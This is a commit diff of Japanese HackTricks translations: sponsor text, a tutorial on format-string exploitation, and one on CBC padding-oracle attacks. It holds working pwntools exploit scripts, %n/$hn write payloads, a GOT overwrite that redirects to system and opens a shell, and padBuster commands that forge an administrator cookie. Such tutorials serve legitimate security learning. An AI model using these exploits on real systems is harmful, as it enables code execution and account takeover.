Translated ['README.md', 'binary-exploitation/format-strings/README.md',

This commit is contained in:
Translator 2024-11-09 13:28:55 +00:00
parent e0e301cf3b
commit 7642bc2bf8
43 changed files with 1258 additions and 851 deletions

View file

@ -32,7 +32,7 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com)は、**スペイン**で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの1つです。**技術知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家のための熱い交流の場です。 [**RootedCON**](https://www.rootedcon.com)は、**スペイン**で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの1つです。**技術的知識を促進することを使命**とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家のための熱い交流の場です。
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
@ -42,9 +42,9 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
<figure><img src=".gitbook/assets/image (47).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/image (47).png" alt=""><figcaption></figcaption></figure>
**Intigriti**は、**ヨーロッパの#1**エシカルハッキングおよび**バグバウンティプラットフォーム**です。 **Intigriti**は、**ヨーロッパの#1**の倫理的ハッキングおよび**バグバウンティプラットフォーム**です。
**バグバウンティのヒント****Intigritiにサインアップ**してください。これは、**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加し、最大**$100,000**の報酬を得始めましょう! **バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加し、最大**$100,000**のバウンティを獲得し始めましょう!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
@ -69,9 +69,9 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
* **ハッキングの洞察**ハッキングのスリルと課題に深く掘り下げたコンテンツに参加 * **ハッキングの洞察:** ハッキングのスリルと課題に深く掘り下げたコンテンツに参加
* **リアルタイムハックニュース**リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界を把握 * **リアルタイムハックニュース:** リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界を把握
* **最新の発表**新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得る * **最新の発表:** 新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得る
**私たちと一緒に** [**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加し、今日からトップハッカーとコラボレーションを始めましょう! **私たちと一緒に** [**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加し、今日からトップハッカーとコラボレーションを始めましょう!
@ -79,12 +79,14 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - 必須のペネトレーションテストツールキット ### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - 必須のペネトレーションテストツールキット
<figure><img src=".gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らに深く掘り下げ、シェルをポップし、楽しむための時間を戻すためにカスタムツール、検出および悪用モジュールを開発します。 #### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを評価
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
\
{% endembed %} {% endembed %}
@ -94,14 +96,14 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
<figure><img src=".gitbook/assets/image (1254).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/image (1254).png" alt=""><figcaption></figcaption></figure>
**SerpApi**は、**検索エンジンの結果にアクセスするための迅速かつ簡単なリアルタイムAPI**を提供します。彼らは検索エンジンをスクレイピングし、プロキシを処理し、キャプチャを解決し、すべてのリッチ構造化データを解析します。 **SerpApi**は、**検索エンジンの結果にアクセスするための迅速簡単なリアルタイムAPI**を提供します。彼らは検索エンジンをスクレイピングし、プロキシを処理し、キャプチャを解決し、すべてのリッチ構造化データを解析します。
SerpApiのプランの1つに加入すると、Google、Bing、Baidu、Yahoo、Yandexなど、さまざまな検索エンジンをスクレイピングするための50以上の異なるAPIにアクセスできます。\ SerpApiのプランのサブスクリプションには、Google、Bing、Baidu、Yahoo、Yandexなど、さまざまな検索エンジンをスクレイピングするための50以上の異なるAPIへのアクセスが含まれています。\
他のプロバイダーとは異なり、**SerpApiはオーガニック結果だけをスクレイピングするわけではありません**。SerpApiの応答には、常にすべての広告、インライン画像と動画、ナレッジグラフ、検索結果に存在する他の要素や機能が含まれます。 他のプロバイダーとは異なり、**SerpApiはオーガニック結果だけをスクレイピングするわけではありません**。SerpApiの応答には、常にすべての広告、インライン画像と動画、ナレッジグラフ、検索結果に存在する他の要素や機能が含まれます。
現在のSerpApiの顧客には、**Apple、Shopify、GrubHub**が含まれます。\ 現在のSerpApiの顧客には、**Apple、Shopify、GrubHub**が含まれています。\
詳細については、彼らの[**ブログ**](https://serpapi.com/blog/)を確認するか、[**プレイグラウンド**](https://serpapi.com/playground)で例を試してください。\ 詳細については、彼らの[**ブログ**](https://serpapi.com/blog/)をチェックするか、[**プレイグラウンド**](https://serpapi.com/playground)で例を試してください。\
**無料アカウントを作成**するには、[**こちら**](https://serpapi.com/users/sign\_up)をクリックしてください。** **ここで無料アカウントを作成**できます[**こちら**](https://serpapi.com/users/sign\_up)**。**
*** ***
@ -109,11 +111,11 @@ SerpApiのプランの1つに加入すると、Google、Bing、Baidu、Yahoo、Y
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl)は、**アムステルダム**に拠点を置くプロフェッショナルなサイバーセキュリティ会社で、最新のサイバーセキュリティ脅威から**世界中のビジネスを保護する**手助けをしています。彼らは**攻撃的セキュリティサービス**を提供し、**現代的な**アプローチを採用しています。 [**WebSec**](https://websec.nl)は、**アムステルダム**に拠点を置くプロフェッショナルなサイバーセキュリティ会社で、最新のサイバーセキュリティ脅威から**世界中のビジネスを保護する**手助けをしています。**攻撃的セキュリティサービス**を提供する**現代的な**アプローチを採用しています。
WebSecは**オールインワンのセキュリティ会社**であり、ペンテスト、**セキュリティ**監査、意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティ専門家のアウトソーシングなど、すべてを行います。 WebSecは**オールインワンのセキュリティ会社**であり、ペンテスト、**セキュリティ**監査、意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティ専門家のアウトソーシングなど、すべてを行います。
WebSecのもう一つの素晴らしい点は、業界の平均とは異なり、WebSecは**自分たちのスキルに非常に自信を持っている**ことです。そのため、**最高の品質の結果を保証します**。彼らのウェブサイトには「**私たちがハッキングできなければ、あなたは支払わない!**」と記載されています。詳細については、彼らの[**ウェブサイト**](https://websec.nl/en/)と[**ブログ**](https://websec.nl/blog/)を見てください! WebSecのもう一つの素晴らしい点は、業界の平均とは異なり、WebSecは**自分たちのスキルに非常に自信を持っている**ことであり、そのため、**最高の品質の結果を保証します**。彼らのウェブサイトには「**私たちがハッキングできなければ、あなたは支払わない!**」と記載されています。詳細については、彼らの[**ウェブサイト**](https://websec.nl/en/)と[**ブログ**](https://websec.nl/blog/)を見てください!
上記に加えて、WebSecは**HackTricksの熱心なサポーターでもあります。** 上記に加えて、WebSecは**HackTricksの熱心なサポーターでもあります。**
@ -121,7 +123,7 @@ WebSecのもう一つの素晴らしい点は、業界の平均とは異なり
## License & Disclaimer ## License & Disclaimer
彼らを確認してください: チェックしてください:
{% content-ref url="welcome/hacktricks-values-and-faq.md" %} {% content-ref url="welcome/hacktricks-values-and-faq.md" %}
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md) [hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
@ -140,8 +142,8 @@ GCPハッキングを学び、実践する<img src=".gitbook/assets/grte.png"
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私たちをフォローしてください 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私たちをフォローしてください 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -10,18 +10,25 @@ GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。** * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %}
## 基本情報 ## 基本情報
Cの**`printf`**は、いくつかの文字列を**出力**するために使用できる関数です。この関数が期待する**最初のパラメータ**は、**フォーマッタを含む生のテキスト**です。次に期待される**パラメータ**は、生のテキストから**フォーマッタを置き換えるための値**です。 Cの**`printf`**は、いくつかの文字列を**印刷**するために使用できる関数です。この関数が期待する**最初のパラメータ**は、**フォーマッタを含む生のテキスト**です。**次のパラメータ**は、**生のテキストからフォーマッタを**置き換えるための**値**です。
他の脆弱な関数には**`sprintf()`**と**`fprintf()`**があります。 他の脆弱な関数には**`sprintf()`**と**`fprintf()`**があります。
脆弱性は、**攻撃者のテキストがこの関数の最初の引数として使用されるとき**に現れます。攻撃者は、**printfフォーマット**文字列の機能を悪用して、**任意のアドレス(読み取り可能/書き込み可能)にある任意のデータを読み書きする**ための**特別な入力を作成**することができます。この方法で**任意のコードを実行**することが可能です。 脆弱性は、**攻撃者のテキストがこの関数の最初の引数として使用されるとき**に現れます。攻撃者は、**printfフォーマット**文字列の機能を悪用して、**任意のアドレス(読み取り可能/書き込み可能)にある任意のデータを読み書き**するための**特別な入力を作成**できるようになります。この方法で**任意のコードを実行**することが可能です。
#### フォーマッタ: #### フォーマッタ:
```bash ```bash
@ -76,7 +83,7 @@ printf("%x %x %x %x")
```c ```c
printf("%4$x") printf("%4$x")
``` ```
そして直接4番目を読み取ります。 そして直接4番目を読みます。
攻撃者が`printf`の**パラメータを制御していることに注意してください。これは基本的に、**彼の入力が`printf`が呼び出されるときにスタックに存在することを意味し、特定のメモリアドレスをスタックに書き込むことができることを意味します。 攻撃者が`printf`の**パラメータを制御していることに注意してください。これは基本的に、**彼の入力が`printf`が呼び出されるときにスタックに存在することを意味し、特定のメモリアドレスをスタックに書き込むことができることを意味します。
@ -86,7 +93,7 @@ printf("%4$x")
## **任意の読み取り** ## **任意の読み取り**
フォーマッタ**`%n$s`**を使用して、**`printf`**が**n位置**にある**アドレス**を取得し、それを**文字列のように印刷する**ことが可能です0x00が見つかるまで印刷します。したがって、バイナリのベースアドレスが**`0x8048000`**であり、ユーザー入力がスタックの4番目の位置から始まることがわかっている場合、次のようにバイナリの先頭を印刷することができます フォーマッタ**`%n$s`**を使用して、**`printf`**が**n番目の位置**にある**アドレス**を取得し、それを**文字列のように印刷する**ことが可能です0x00が見つかるまで印刷します。したがって、バイナリのベースアドレスが**`0x8048000`**であり、ユーザー入力がスタックの4番目の位置から始まることがわかっている場合、次のようにバイナリの先頭を印刷することができます
```python ```python
from pwn import * from pwn import *
@ -100,12 +107,12 @@ p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
``` ```
{% hint style="danger" %} {% hint style="danger" %}
注意:入力の最初にアドレス0x8048000を置くことはできません。なぜなら、そのアドレスの末尾に0x00が付加されるからです。 アドレス0x8048000を入力の最初に置くことはできません。なぜなら、そのアドレスの最後に0x00で文字列が切られるからです。
{% endhint %} {% endhint %}
### オフセットを見つける ### オフセットを見つける
入力のオフセットを見つけるに、4バイトまたは8バイト`0x41414141`)を送信し、その後に**`%1$x`**を続けて、`A`の値が取得されるまで**増加**させます 入力のオフセットを見つけるために、4または8バイト`0x41414141`)を送信し、次に**`%1$x`**を続けて、`A`を取得するまで値を**増やします**
<details> <details>
@ -142,21 +149,21 @@ p.close()
### どれほど役立つか ### どれほど役立つか
任意の読み取りは以下の目的に役立ちます: 任意の読み取りは以下に役立ちます:
* **メモリから** **バイナリ**を**ダンプ**する * **メモリから** **バイナリ**を**ダンプ**する
* **カナリア、暗号化キー、またはこの[**CTFチャレンジ**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)のようなカスタムパスワード**が保存されているメモリの特定の部分に**アクセス**する * **機密情報が保存されているメモリの特定の部分にアクセスする**カナリア、暗号化キー、またはこの[**CTFチャレンジ**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)のようなカスタムパスワードなど)
## **任意の書き込み** ## **任意の書き込み**
フォーマッタ **`%<num>$n`** は、スタックの\<num>パラメータにある**指定されたアドレス**に**書き込まれたバイト数**を**書き込みます**。攻撃者がprintfを使って任意の数の文字を書き込むことができれば、**`%<num>$n`** を使って任意のアドレスに任意の数を**書き込む**ことができるようになります。 フォーマッタ **`%<num>$n`** は、スタックの\<num>パラメータにある**指定されたアドレス**に**書き込まれたバイト数**を**書き込みます**。攻撃者がprintfを使って任意の数の文字を書き込むことができれば、**`%<num>$n`** を使って任意のアドレスに任意の数を**書き込む**ことができます。
幸いなことに、9999という数を書くために、入力に9999個の"A"を追加する必要はなく、フォーマッタ **`%.<num-write>%<num>$n`** を使用して、**`num`位置が指すアドレスに** **`<num-write>`**という数を書くことが可能です。 幸いなことに、9999という数を書くために、入力に9999個の"A"を追加する必要はなく、フォーマッタ **`%.<num-write>%<num>$n`** を使用して、**`<num-write>`** の数を**`num`位置が指すアドレスに書き込む**ことが可能です。
```bash ```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500 AAAA.%500\$08x —> Param at offset 500
``` ```
しかし、通常、`0x08049724`のようなアドレスを書くためには(これは一度に書くには非常に大きな数です)、**`$hn`**が**`$n`**の代わりに使用されます。これにより、**2バイトだけを書く**ことができます。したがって、この操作は2回行われ、アドレスの最上位2バイトと最下位2バイトのそれぞれに対して行われます。 しかし、通常、`0x08049724`のようなアドレスを書くためには(これは一度に書くには非常に大きな数です)、**`$hn`**が**`$n`**の代わりに使用されます。これにより、**2バイトだけを書く**ことができます。したがって、この操作は2回行われます。1回目はアドレスの上位2バイト、2回目は下位2バイトです。
したがって、この脆弱性は**任意のアドレスに何でも書き込むことを可能にします(任意書き込み)。** したがって、この脆弱性は**任意のアドレスに何でも書き込むことを可能にします(任意書き込み)。**
@ -167,12 +174,12 @@ AAAA.%500\$08x —> Param at offset 500
{% endcontent-ref %} {% endcontent-ref %}
私たちは、**ユーザー**から**引数**を**受け取る**関数を**上書き**し、それを**`system`**関数に**ポイント**します。\ 私たちは、**ユーザー**から**引数**を**受け取る**関数を**上書き**し、それを**`system`**関数に**ポイント**します。\
前述のように、アドレスを書くためには通常2ステップが必要です最初にアドレスの2バイトを書き、その後に残りの2バイトを書きます。そのために**`$hn`**が使用されます。 前述のように、アドレスを書くためには通常2ステップが必要です最初にアドレスの2バイトを書き、その後に残りの2バイトを書きます。そのために**`$hn`**が使用されます。
* **HOB**はアドレスの上位2バイトに呼び出されます * **HOB**はアドレスの上位2バイトに呼び出されます
* **LOB**はアドレスの下位2バイトに呼び出されます * **LOB**はアドレスの下位2バイトに呼び出されます
次に、フォーマット文字列の動作のために、最初に\[HOB, LOB\]の中で最小のものを**書く必要があります**、その後にもう一方を書きます。 次に、フォーマット文字列の動作のために、最初に\[HOB, LOB\]の中で最小のものを**書く必要があります**。次にもう一方を書きます。
HOB < LOB\ HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
@ -190,13 +197,13 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
### Pwntools テンプレート ### Pwntools テンプレート
この種の脆弱性に対するエクスプロイトを準備するための**テンプレート**は、以下にあります: この種の脆弱性に対するエクスプロイトを準備するための**テンプレート**は以下にあります:
{% content-ref url="format-strings-template.md" %} {% content-ref url="format-strings-template.md" %}
[format-strings-template.md](format-strings-template.md) [format-strings-template.md](format-strings-template.md)
{% endcontent-ref %} {% endcontent-ref %}
または、[**こちら**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)の基本的な例もあります または、[**こちら**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)の基本的な例もあります:
```python ```python
from pwn import * from pwn import *
@ -217,7 +224,7 @@ p.interactive()
``` ```
## フォーマット文字列からBOFへ ## フォーマット文字列からBOFへ
フォーマット文字列の脆弱性の書き込みアクションを悪用して、**スタックのアドレスに書き込む**ことが可能であり、**バッファオーバーフロー**タイプの脆弱性を悪用することができます。 フォーマット文字列の脆弱性の書き込みアクションを悪用して、**スタックのアドレスに書き込む**ことが可能で、**バッファオーバーフロー**タイプの脆弱性を悪用することができます。
## その他の例と参考文献 ## その他の例と参考文献
@ -231,17 +238,21 @@ p.interactive()
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html) * [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
* 32ビット、relroあり、canaryなし、nx、pieなし、`.fini_array`内のmainのアドレスに書き込むためのフォーマット文字列フローがもう1回ループバックするようにおよび`strlen`を指すGOTテーブル内の`system`へのアドレスを書き込む。フローがmainに戻ると、`strlen`がユーザー入力で実行され、`system`を指すと、渡されたコマンドが実行されます。 * 32ビット、relroあり、canaryなし、nx、pieなし、`.fini_array`内のmainのアドレスに書き込むためのフォーマット文字列フローがもう1回ループバックするようにおよび`strlen`を指すGOTテーブル内の`system`へのアドレスを書き込む。フローがmainに戻ると、`strlen`がユーザー入力で実行され、`system`を指すと、渡されたコマンドが実行されます。
{% hint style="success" %} <figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
AWSハッキングを学び、練習する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> **ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングのトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -15,6 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## CBC - Cipher Block Chaining ## CBC - Cipher Block Chaining
CBCモードでは、**前の暗号化ブロックがIVとして使用され**、次のブロックとXORされます CBCモードでは、**前の暗号化ブロックがIVとして使用され**、次のブロックとXORされます
@ -29,8 +33,8 @@ CBCを復号するには、**逆の** **操作**が行われます:
## Message Padding ## Message Padding
暗号化は**固定** **サイズ** **ブロック**で行われるため、**最後の** **ブロック**の長さを完成させるために**パディング**が通常必要です。\ 暗号化は**固定** **サイズ** **ブロック**で行われるため、**最後の** **ブロック**の長さを完了するために**パディング**が通常必要です。\
通常、**PKCS7**が使用され、ブロックを完成させるために**必要なバイト数**を**繰り返す**パディングが生成されます。たとえば、最後のブロックが3バイト不足している場合、パディングは`\x03\x03\x03`になります。 通常、**PKCS7**が使用され、ブロックを完了するために必要な**バイト数**を**繰り返す**パディングが生成されます。たとえば、最後のブロックが3バイト不足している場合、パディングは`\x03\x03\x03`になります。
**8バイトの長さの2つのブロック**の例を見てみましょう: **8バイトの長さの2つのブロック**の例を見てみましょう:
@ -61,11 +65,11 @@ perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -e
``` ```
**エンコーディング 0** は **base64** が使用されていることを意味します(他のオプションも利用可能ですので、ヘルプメニューを確認してください)。 **エンコーディング 0** は **base64** が使用されていることを意味します(他のオプションも利用可能ですので、ヘルプメニューを確認してください)。
この脆弱性を悪用して新しいデータを暗号化することもできます。例えば、クッキーの内容が "**_**user=MyUsername**_**" の場合、これを "\_user=administrator\_" に変更してアプリケーション内で権限を昇格させることができます。また、`paduster` を使用して -plaintext** パラメータを指定することでも可能です: この脆弱性を**悪用して新しいデータを暗号化することもできます。例えば、クッキーの内容が "**_**user=MyUsername**_**" の場合、これを "\_user=administrator\_" に変更してアプリケーション内で権限を昇格させることができます。また、`paduster`を使用して -plaintext** パラメータを指定することでも可能です:
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
``` ```
サイトが脆弱な場合、`padbuster`は自動的にパディングエラーが発生するタイミングを見つけようとしますが、**-error**パラメータを使用してエラーメッセージを指定することもできます。 もしサイトが脆弱であれば、`padbuster`は自動的にパディングエラーが発生するタイミングを見つけようとしますが、**-error**パラメータを使用してエラーメッセージを指定することもできます。
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
``` ```
@ -85,42 +89,46 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
* `C12 = I12 ^ E4` * `C12 = I12 ^ E4`
* ... * ...
今、**C15が`0x01`になるまで`E7`を** **変更**することが可能です。これも正しいパディングになります。したがって、この場合: `\x01 = I15 ^ E'7` 今、`C15`が`0x01`になるように**`E7`を変更する**ことが可能です。これも正しいパディングになります。したがって、この場合:`\x01 = I15 ^ E'7`
E'7を見つけることで、**I15を計算することが可能です** `I15 = 0x01 ^ E'7` したがって、E'7を見つけることで、**I15を計算する**ことができます:`I15 = 0x01 ^ E'7`
これにより、**C15を計算することができます** `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` これにより、**C15を計算する**ことができます:`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
**C15**を知っているので、今度は**C14を計算することが可能です**が、今回はパディング`\x02\x02`をブルートフォースします。 **C15**を知っているので、今度は**C14を計算する**ことが可能ですが、今回はパディング`\x02\x02`をブルートフォースします。
このブルートフォースは前のものと同じくらい複雑で、値が0x02の`E''15`を計算することが可能です: `E''7 = \x02 ^ I15` したがって、**`C14`が`0x02`に等しい** **`E'14`**を見つけるだけです。\ このBFは前のものと同じくらい複雑で、値が0x02の`E''15`を計算することが可能です:`E''7 = \x02 ^ I15`。したがって、**`C14`が`0x02`に等しい**ように生成する**`E'14`**を見つけるだけです。\
次に、C14を復号するために同じ手順を行います: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** 次に、C14を復号するために同じ手順を実行します:**`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**このチェーンをたどって、暗号化されたテキスト全体を復号します。** **このチェーンをたどって、暗号化されたテキスト全体を復号します。**
### 脆弱性の検出 ### 脆弱性の検出
アカウントを登録し、このアカウントでログインします。\ アカウントを登録し、このアカウントでログインします。\
